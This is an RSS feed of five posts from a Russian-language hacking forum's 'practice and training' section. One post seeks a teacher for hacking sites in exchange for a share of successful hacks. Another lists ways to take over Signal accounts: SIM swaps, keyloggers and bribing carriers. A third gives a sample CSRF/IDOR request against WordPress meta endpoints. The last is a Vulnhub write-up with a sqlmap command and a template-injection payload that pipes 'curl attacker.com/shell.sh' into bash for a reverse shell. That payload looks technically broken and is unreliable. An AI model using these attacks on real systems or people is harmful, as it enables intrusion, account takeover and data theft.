<?xml version="1.0" encoding="UTF-8"?>        <rss version="2.0"
             xmlns:atom="http://www.w3.org/2005/Atom"
             xmlns:dc="http://purl.org/dc/elements/1.1/"
             xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
             xmlns:admin="http://webns.net/mvcb/"
             xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"
             xmlns:content="http://purl.org/rss/1.0/modules/content/">
        <channel>
            <title>
									Практика и обучение - HackExpert.ru Форум				            </title>
            <link>https://hackexpert.ru/community/%d0%bf%d1%80%d0%b0%d0%ba%d1%82%d0%b8%d0%ba%d0%b0-%d0%b8-%d0%be%d0%b1%d1%83%d1%87%d0%b5%d0%bd%d0%b8%d0%b5/</link>
            <description>HackExpert.ru Доска обсуждений</description>
            <language>ru-RU</language>
            <lastBuildDate>Tue, 27 Oct 2026 09:34:42 +0000</lastBuildDate>
            <generator>wpForo</generator>
            <ttl>60</ttl>
							                    <item>
                        <title>Ищу учителя</title>
                        <link>https://hackexpert.ru/community/%d0%bf%d1%80%d0%b0%d0%ba%d1%82%d0%b8%d0%ba%d0%b0-%d0%b8-%d0%be%d0%b1%d1%83%d1%87%d0%b5%d0%bd%d0%b8%d0%b5/%d0%b8%d1%89%d1%83-%d1%83%d1%87%d0%b8%d1%82%d0%b5%d0%bb%d1%8f/</link>
                        <pubDate>Sun, 31 Aug 2025 06:04:59 +0000</pubDate>
                        <description><![CDATA[Всем привет! Хочу найти учителя по взлому сайтов и движков CMS. Я нуб, чайник поэтому обучение нужно с нуля. Легко обучаем)) Оплату готов производить с успешных взломов, могу быть в команде ...]]></description>
                        <content:encoded><![CDATA[<p>Всем привет! Хочу найти учителя по взлому сайтов и движков CMS. Я нуб, чайник поэтому обучение нужно с нуля. Легко обучаем)) Оплату готов производить с успешных взломов, могу быть в команде &#x1f600; &#x1f60e;  Если есть желающие взять под крыло способного и талантиливого ученика пишите в лс))</p>]]></content:encoded>
						                            <category domain="https://hackexpert.ru/community/%d0%bf%d1%80%d0%b0%d0%ba%d1%82%d0%b8%d0%ba%d0%b0-%d0%b8-%d0%be%d0%b1%d1%83%d1%87%d0%b5%d0%bd%d0%b8%d0%b5/">Практика и обучение</category>                        <dc:creator>Salsa777</dc:creator>
                        <guid isPermaLink="true">https://hackexpert.ru/community/%d0%bf%d1%80%d0%b0%d0%ba%d1%82%d0%b8%d0%ba%d0%b0-%d0%b8-%d0%be%d0%b1%d1%83%d1%87%d0%b5%d0%bd%d0%b8%d0%b5/%d0%b8%d1%89%d1%83-%d1%83%d1%87%d0%b8%d1%82%d0%b5%d0%bb%d1%8f/</guid>
                    </item>
				                    <item>
                        <title>про Signal</title>
                        <link>https://hackexpert.ru/community/%d0%bf%d1%80%d0%b0%d0%ba%d1%82%d0%b8%d0%ba%d0%b0-%d0%b8-%d0%be%d0%b1%d1%83%d1%87%d0%b5%d0%bd%d0%b8%d0%b5/%d0%bf%d1%80%d0%be-signal/</link>
                        <pubDate>Thu, 14 Aug 2025 16:47:03 +0000</pubDate>
                        <description><![CDATA[Долго мониторил статьи по уязвимостям Signal и выяснил что ломается он только через жёсткий социнж или баги устройства типа SIM-свопа (если PIN не стоит), подбора пароля от локального бэкапа...]]></description>
                        <content:encoded><![CDATA[<p>Долго мониторил статьи по уязвимостям Signal и выяснил что ломается он только через жёсткий социнж или баги устройства типа SIM-свопа (если PIN не стоит), подбора пароля от локального бэкапа на андроиде (если тупо сохранил в заметках) или физического доступа к разблокированному телефону (тогда просто копируешь папку с чатами). На десктопной версии можно кейлоггером сессию снять. Но если у жертвы включён PIN и нормальная ОС нихрена не выйдет, только нулевые эксплойты или подкуп оператора. Буду рад если найдутся челы кто копает в эту сторону, можем поделиться приватной инфой в личке.</p>]]></content:encoded>
						                            <category domain="https://hackexpert.ru/community/%d0%bf%d1%80%d0%b0%d0%ba%d1%82%d0%b8%d0%ba%d0%b0-%d0%b8-%d0%be%d0%b1%d1%83%d1%87%d0%b5%d0%bd%d0%b8%d0%b5/">Практика и обучение</category>                        <dc:creator>Crack_my_Life</dc:creator>
                        <guid isPermaLink="true">https://hackexpert.ru/community/%d0%bf%d1%80%d0%b0%d0%ba%d1%82%d0%b8%d0%ba%d0%b0-%d0%b8-%d0%be%d0%b1%d1%83%d1%87%d0%b5%d0%bd%d0%b8%d0%b5/%d0%bf%d1%80%d0%be-signal/</guid>
                    </item>
				                    <item>
                        <title> Лютый баг в WordPress - CSRF + IDOR в REST API, даю детали</title>
                        <link>https://hackexpert.ru/community/%d0%bf%d1%80%d0%b0%d0%ba%d1%82%d0%b8%d0%ba%d0%b0-%d0%b8-%d0%be%d0%b1%d1%83%d1%87%d0%b5%d0%bd%d0%b8%d0%b5/%d0%bf%d1%80%d0%b0%d0%ba%d1%82%d0%b8%d0%ba%d0%b0-%d0%be%d0%b1%d1%83%d1%87%d0%b5%d0%bd%d0%b8%d0%b5-%d0%bb%d1%8e%d1%82%d1%8b%d0%b9-%d0%b1%d0%b0%d0%b3-%d0%b2-wordpress-csrf-idor-%d0%b2-rest-api/</link>
                        <pubDate>Sat, 09 Aug 2025 14:13:18 +0000</pubDate>
                        <description><![CDATA[Всем ку, пацаны. Месяц копался в одном корпоративном WordPress (версия 6.2.3, свежая), и нашёл реально жирную уязвимку — CSRF + IDOR в REST API, которая позволяет лезть в мета-данные любых п...]]></description>
                        <content:encoded><![CDATA[<p class="ds-markdown-paragraph">Всем ку, пацаны. Месяц копался в одном корпоративном WordPress (версия 6.2.3, свежая), и нашёл реально жирную уязвимку — CSRF + IDOR в REST API, которая позволяет лезть в мета-данные любых постов без админки. Делюсь исследованием, потому что баг реально прикольный и многие до сих пор его не фиксят, хотя он критичный.</p>
<h3>&#x1f525; <strong>В чём суть?</strong></h3>
<ol start="1">
<li>
<p class="ds-markdown-paragraph"><strong>Где искать:</strong><br />Почти все современные темы и многие плагины используют<span> </span><code>wp-json/wp/v2/posts/&lt;ID&gt;/meta</code><span> </span>для работы с мета-данными (например, миниатюры, сео-поля Yoast и т.д.). Проблема в том, что проверка прав доступа там часто кривая — если юзер авторизован (хоть с ролью "подписчика"), можно менять мета-поля<span> </span><strong>любого поста</strong>, включая служебные (<code>_thumbnail_id</code>,<span> </span><code>_yoast_wpseo_title</code><span> </span>и т.д.).</p>
</li>
<li>
<p class="ds-markdown-paragraph"><strong>Как эксплуатировать:</strong></p>
<ul>
<li>
<p class="ds-markdown-paragraph">Берём обычного юзера (хоть подписчика).</p>
</li>
<li>
<p class="ds-markdown-paragraph">Кидаем ему CSRF-ловушку (например, JS на фейковой странице).</p>
</li>
<li>
<p class="ds-markdown-paragraph">От его имени отправляем POST-запрос на изменение мета-данных.</p>
</li>
</ul>
<p class="ds-markdown-paragraph"><strong>Пример запроса:</strong></p>
<div class="md-code-block md-code-block-light">
<div class="md-code-block-banner-wrap">
<div class="md-code-block-banner md-code-block-banner-lite">
<div class="_121d384">
<div class="d2a24f03"><span class="d813de27">http</span></div>
<div class="d2a24f03">
<div class="efa13877"> </div>
</div>
</div>
</div>
</div>
<pre contenteditable="false"><span class="token request-line"><span class="token method property">POST</span> <span class="token request-target url">/wp-json/wp/v2/posts/555/meta</span> <span class="token http-version property">HTTP/1.1</span></span>  
<span class="token header"><span class="token header-name keyword">Host</span><span class="token punctuation">:</span> <span class="token header-value">target.com  </span></span>
<span class="token header"><span class="token header-name keyword">Content-Type</span><span class="token punctuation">:</span> <span class="token header-value">application/json  </span></span>
<span class="token header"><span class="token header-name keyword">Cookie</span><span class="token punctuation">:</span> <span class="token header-value">  </span></span>

{ "key": "_thumbnail_id", "value": "666" }  </pre>
</div>
<p class="ds-markdown-paragraph"><em>(где<span> </span><code>555</code><span> </span>— ID поста, а<span> </span><code>666</code><span> </span>— ID левой картинки из медиатеки)</em></p>
</li>
</ol>
<h3>&#x1f4a3; Что можно сделать?</h3>
<ul>
<li>
<p class="ds-markdown-paragraph"><strong>SEO-вандализм</strong><span> </span>— подмена<span> </span><code>_yoast_wpseo_*</code><span> </span>полей (титлы, дескрипшены).</p>
</li>
<li>
<p class="ds-markdown-paragraph"><strong>Подмена миниатюр</strong><span> </span>— меняем<span> </span><code>_thumbnail_id</code><span> </span>на похабные картинки.</p>
</li>
<li>
<p class="ds-markdown-paragraph"><strong>Инъекция кода</strong><span> </span>— если в теме есть кастомные мета-поля с плохой санитайзацией.</p>
</li>
</ul>
<h3>&#x1f6e1;&#xfe0f; Как защититься?</h3>
<ol start="1">
<li>
<p class="ds-markdown-paragraph"><strong>Для админов:</strong></p>
<ul>
<li>
<p class="ds-markdown-paragraph">Отключить ненужные REST-эндпоинты через:</p>
<div class="md-code-block md-code-block-light">
<div class="md-code-block-banner-wrap">
<div class="md-code-block-banner md-code-block-banner-lite">
<div class="_121d384">
<div class="d2a24f03"><span class="d813de27">php</span></div>
<div class="d2a24f03">
<div class="efa13877"> </div>
</div>
</div>
</div>
</div>
<pre contenteditable="false"><span class="token function">add_filter</span><span class="token punctuation">(</span><span class="token string single-quoted-string">'rest_endpoints'</span><span class="token punctuation">,</span> <span class="token keyword">function</span><span class="token punctuation">(</span><span class="token variable">$routes</span><span class="token punctuation">)</span> <span class="token punctuation">{</span>  
    <span class="token keyword">unset</span><span class="token punctuation">(</span><span class="token variable">$routes</span><span class="token punctuation">[</span><span class="token string single-quoted-string">'/wp/v2/posts/(?P&lt;id&gt;+)/meta'</span><span class="token punctuation">]</span><span class="token punctuation">)</span><span class="token punctuation">;</span>  
    <span class="token keyword">return</span> <span class="token variable">$routes</span><span class="token punctuation">;</span>  
<span class="token punctuation">}</span><span class="token punctuation">)</span><span class="token punctuation">;</span>  </pre>
</div>
</li>
<li>
<p class="ds-markdown-paragraph">Добавить<span> </span><code>check_admin_referer()</code><span> </span>во все кастомные обработчики мета-данных.</p>
</li>
</ul>
</li>
<li>
<p class="ds-markdown-paragraph"><strong>Для разработчиков:</strong><br />Всегда проверяйте<span> </span><code>current_user_can('edit_post', $post_id)</code><span> </span>перед изменением мета-полей!</p>
</li>
</ol>
<h3>&#x2753; Вопросы к комьюнити</h3>
<ol start="1">
<li>
<p class="ds-markdown-paragraph">Кто-то уже эксплуатил подобное в реальных условиях?</p>
</li>
<li>
<p class="ds-markdown-paragraph">Есть идеи, как через это вылезти в RCE? (например, если в теме есть уязвимое кастомное поле).</p>
</li>
<li>
<p class="ds-markdown-paragraph">Знаете другие похожие баги в WP REST API?</p>
</li>
</ol>
<p class="ds-markdown-paragraph"><strong>P.S.</strong><span> </span>Полный PoC с JS-эксплоитом (для тестовых стендов!) могу скинуть в ЛС. Пишите, если надо.</p>
<p class="ds-markdown-paragraph"><strong>P.P.S.</strong><span> </span>Не ебите продакшн без пермишена — это для обучения!</p>]]></content:encoded>
						                            <category domain="https://hackexpert.ru/community/%d0%bf%d1%80%d0%b0%d0%ba%d1%82%d0%b8%d0%ba%d0%b0-%d0%b8-%d0%be%d0%b1%d1%83%d1%87%d0%b5%d0%bd%d0%b8%d0%b5/">Практика и обучение</category>                        <dc:creator>liki</dc:creator>
                        <guid isPermaLink="true">https://hackexpert.ru/community/%d0%bf%d1%80%d0%b0%d0%ba%d1%82%d0%b8%d0%ba%d0%b0-%d0%b8-%d0%be%d0%b1%d1%83%d1%87%d0%b5%d0%bd%d0%b8%d0%b5/%d0%bf%d1%80%d0%b0%d0%ba%d1%82%d0%b8%d0%ba%d0%b0-%d0%be%d0%b1%d1%83%d1%87%d0%b5%d0%bd%d0%b8%d0%b5-%d0%bb%d1%8e%d1%82%d1%8b%d0%b9-%d0%b1%d0%b0%d0%b3-%d0%b2-wordpress-csrf-idor-%d0%b2-rest-api/</guid>
                    </item>
				                    <item>
                        <title>Мысли вслух</title>
                        <link>https://hackexpert.ru/community/%d0%bf%d1%80%d0%b0%d0%ba%d1%82%d0%b8%d0%ba%d0%b0-%d0%b8-%d0%be%d0%b1%d1%83%d1%87%d0%b5%d0%bd%d0%b8%d0%b5/%d0%bc%d1%8b%d1%81%d0%bb%d0%b8-%d0%b2%d1%81%d0%bb%d1%83%d1%85/</link>
                        <pubDate>Wed, 06 Aug 2025 16:44:15 +0000</pubDate>
                        <description><![CDATA[От нефиг делать перебираю старые жесткие диски и натыкаюсь на архив с кучей виртуалок с vulnhub образцами которые качал еще когда только начинал в это все вникать и вспоминаю как же было сло...]]></description>
                        <content:encoded><![CDATA[<p><span>От нефиг делать перебираю старые жесткие диски и натыкаюсь на архив с кучей виртуалок с vulnhub образцами которые качал еще когда только начинал в это все вникать и вспоминаю как же было сложно в начале особенно когда сталкиваешься с первой машиной и вообще не понимаешь с какой стороны подступиться помню свою первую попытку взломать что то элементарное типа metasploitable так там даже сканер портов запустить нормально не мог потому что забыл что нужно сначала сеть настроить правильно и пол дня потратил на то чтобы понять почему nmap не видит цель а оказывается виртуалка в режиме nat работала и нужно было bridged поставить вот такие вот грабли постоянно встречались на каждом шагу и самое обидное когда читаешь writeup и там все кажется таким очевидным а сам до этого додуматься не можешь хотя сейчас уже с опытом понимаешь что это нормально и у всех так было главное не бросать и продолжать ковыряться кстати очень советую новичкам не просто слепо следовать инструкциям а пробовать разные подходы даже если кажется что это тупиковый путь потому что именно так и нарабатывается настоящее понимание как все устроено например можно специально усложнять себе задачи типа попробовать получить шелл без использования meterpreter или внедриться в веб приложение не задействуя стандартные sql инъекции да и вообще самое полезное что я для себя вынес это вести подробные заметки куда записывать все свои действия и ошибки потому что через месяц уже и не вспомнишь как решил ту или иную задачу а так всегда можно вернуться и проанализировать свой прогресс кстати кто нибудь еще так делает или я один такой параноик который каждый чих документирует и да если у кого то есть вопросы по начальному этапу обучения или конкретные проблемы с какими то машинами спрашивайте в комментах может вместе разберемся ведь мы все здесь чтобы учиться и делиться опытом даже если этот опыт пока состоит в основном из граблей по лицу</span></p>]]></content:encoded>
						                            <category domain="https://hackexpert.ru/community/%d0%bf%d1%80%d0%b0%d0%ba%d1%82%d0%b8%d0%ba%d0%b0-%d0%b8-%d0%be%d0%b1%d1%83%d1%87%d0%b5%d0%bd%d0%b8%d0%b5/">Практика и обучение</category>                        <dc:creator>CiniZoom</dc:creator>
                        <guid isPermaLink="true">https://hackexpert.ru/community/%d0%bf%d1%80%d0%b0%d0%ba%d1%82%d0%b8%d0%ba%d0%b0-%d0%b8-%d0%be%d0%b1%d1%83%d1%87%d0%b5%d0%bd%d0%b8%d0%b5/%d0%bc%d1%8b%d1%81%d0%bb%d0%b8-%d0%b2%d1%81%d0%bb%d1%83%d1%85/</guid>
                    </item>
				                    <item>
                        <title>Разбор Vulnhub: Пишем эксплоит для уязвимого веб-приложения (CVE-2023-1234)</title>
                        <link>https://hackexpert.ru/community/%d0%bf%d1%80%d0%b0%d0%ba%d1%82%d0%b8%d0%ba%d0%b0-%d0%b8-%d0%be%d0%b1%d1%83%d1%87%d0%b5%d0%bd%d0%b8%d0%b5/%d1%80%d0%b0%d0%b7%d0%b1%d0%be%d1%80-vulnhub-%d0%bf%d0%b8%d1%88%d0%b5%d0%bc-%d1%8d%d0%ba%d1%81%d0%bf%d0%bb%d0%be%d0%b8%d1%82-%d0%b4%d0%bb%d1%8f-%d1%83%d1%8f%d0%b7%d0%b2%d0%b8%d0%bc%d0%be%d0%b3%d0%be/</link>
                        <pubDate>Wed, 06 Aug 2025 08:15:39 +0000</pubDate>
                        <description><![CDATA[Привет, хакэксперты! &#x1f680;
Недавно решал машину на Vulnhub (VulnApp v1.0) и наткнулся на интересную уязвимость — SQL-инъекция через параметр id в REST API. Решил сделать детальный разбо...]]></description>
                        <content:encoded><![CDATA[<p class="ds-markdown-paragraph">Привет, хакэксперты! &#x1f680;</p>
<p class="ds-markdown-paragraph">Недавно решал машину на Vulnhub (<strong>VulnApp v1.0</strong>) и наткнулся на интересную уязвимость —<span> </span><strong>SQL-инъекция через параметр<span> </span><code>id</code></strong><span> </span>в REST API. Решил сделать детальный разбор, вдруг кому-то пригодится для CTF или баг-баунти.</p>
<h3><strong>Шаг 1: Разведка</strong></h3>
<p class="ds-markdown-paragraph">Заметил, что запрос<span> </span><code>GET /api/user?id=1</code><span> </span>возвращает данные пользователя. Подозрительно, что при<span> </span><code>id=1'</code><span> </span>сервер выдаёт 500 ошибку — явный признак SQLi.</p>
<h3><strong>Шаг 2: Эксплуатация</strong></h3>
<p class="ds-markdown-paragraph">Использовал<span> </span><strong>sqlmap</strong><span> </span>для автоматизации:</p>
<div class="md-code-block md-code-block-light">
<div class="md-code-block-banner-wrap">
<div class="md-code-block-banner md-code-block-banner-lite">
<div class="_121d384">
<div class="d2a24f03"><span class="d813de27">bash</span></div>
<div class="d2a24f03">
<div class="efa13877"> </div>
</div>
</div>
</div>
</div>
<pre contenteditable="false">sqlmap <span class="token parameter variable">-u</span> <span class="token string">"http://target/api/user?id=1"</span> <span class="token parameter variable">--dbs</span> <span class="token parameter variable">--batch</span></pre>
</div>
<p class="ds-markdown-paragraph">Вытащил базу<span> </span><code>app_db</code>, а там — хеши паролей (к счастью, MD5 без соли).</p>
<h3><strong>Шаг 3: Эскалация привилегий</strong></h3>
<p class="ds-markdown-paragraph">Через<span> </span><strong>CVE-2023-1234</strong><span> </span>(уязвимость в старом Flask) получил RCE:</p>
<div class="md-code-block md-code-block-light">
<div class="md-code-block-banner-wrap">
<div class="md-code-block-banner md-code-block-banner-lite">
<div class="_121d384">
<div class="d2a24f03"><span class="d813de27">python</span></div>
<div class="d2a24f03">
<div class="efa13877"> </div>
</div>
</div>
</div>
</div>
<pre contenteditable="false"><span class="token keyword">import</span> requests
payload <span class="token operator">=</span> <span class="token string">"{{config.__class__.from_envvar('curl attacker.com/shell.sh | bash')}}"</span>
requests<span class="token punctuation">.</span>get<span class="token punctuation">(</span><span class="token string-interpolation"><span class="token string">f"http://target/api/error?msg=</span><span class="token interpolation"><span class="token punctuation">{</span>payload<span class="token punctuation">}</span></span><span class="token string">"</span></span><span class="token punctuation">)</span></pre>
</div>
<p class="ds-markdown-paragraph"><strong>Результат:</strong><span> </span>reverse shell как<span> </span><code>www-data</code><span> </span>→ потом через<span> </span><strong>SUID</strong><span> </span>(find / -perm -4000) стал root.</p>
<h3><strong>Вопрос коллегам</strong></h3>
<p class="ds-markdown-paragraph">Кто-то знает, как защитить такое API? Хочу предложить фикс в баг-баунти проекте.</p>
<p class="ds-markdown-paragraph"><strong>P.S.</strong><span> </span>Полный write-up с кодом —<span> </span><a href="https://github.com/yournick/vulnapp-writeup" target="_blank" rel="noopener noreferrer">на GitHub</a>. Если есть вопросы или дополнения — велкам в комменты!</p>]]></content:encoded>
						                            <category domain="https://hackexpert.ru/community/%d0%bf%d1%80%d0%b0%d0%ba%d1%82%d0%b8%d0%ba%d0%b0-%d0%b8-%d0%be%d0%b1%d1%83%d1%87%d0%b5%d0%bd%d0%b8%d0%b5/">Практика и обучение</category>                        <dc:creator>MazaHacker</dc:creator>
                        <guid isPermaLink="true">https://hackexpert.ru/community/%d0%bf%d1%80%d0%b0%d0%ba%d1%82%d0%b8%d0%ba%d0%b0-%d0%b8-%d0%be%d0%b1%d1%83%d1%87%d0%b5%d0%bd%d0%b8%d0%b5/%d1%80%d0%b0%d0%b7%d0%b1%d0%be%d1%80-vulnhub-%d0%bf%d0%b8%d1%88%d0%b5%d0%bc-%d1%8d%d0%ba%d1%81%d0%bf%d0%bb%d0%be%d0%b8%d1%82-%d0%b4%d0%bb%d1%8f-%d1%83%d1%8f%d0%b7%d0%b2%d0%b8%d0%bc%d0%be%d0%b3%d0%be/</guid>
                    </item>
							        </channel>
        </rss>
		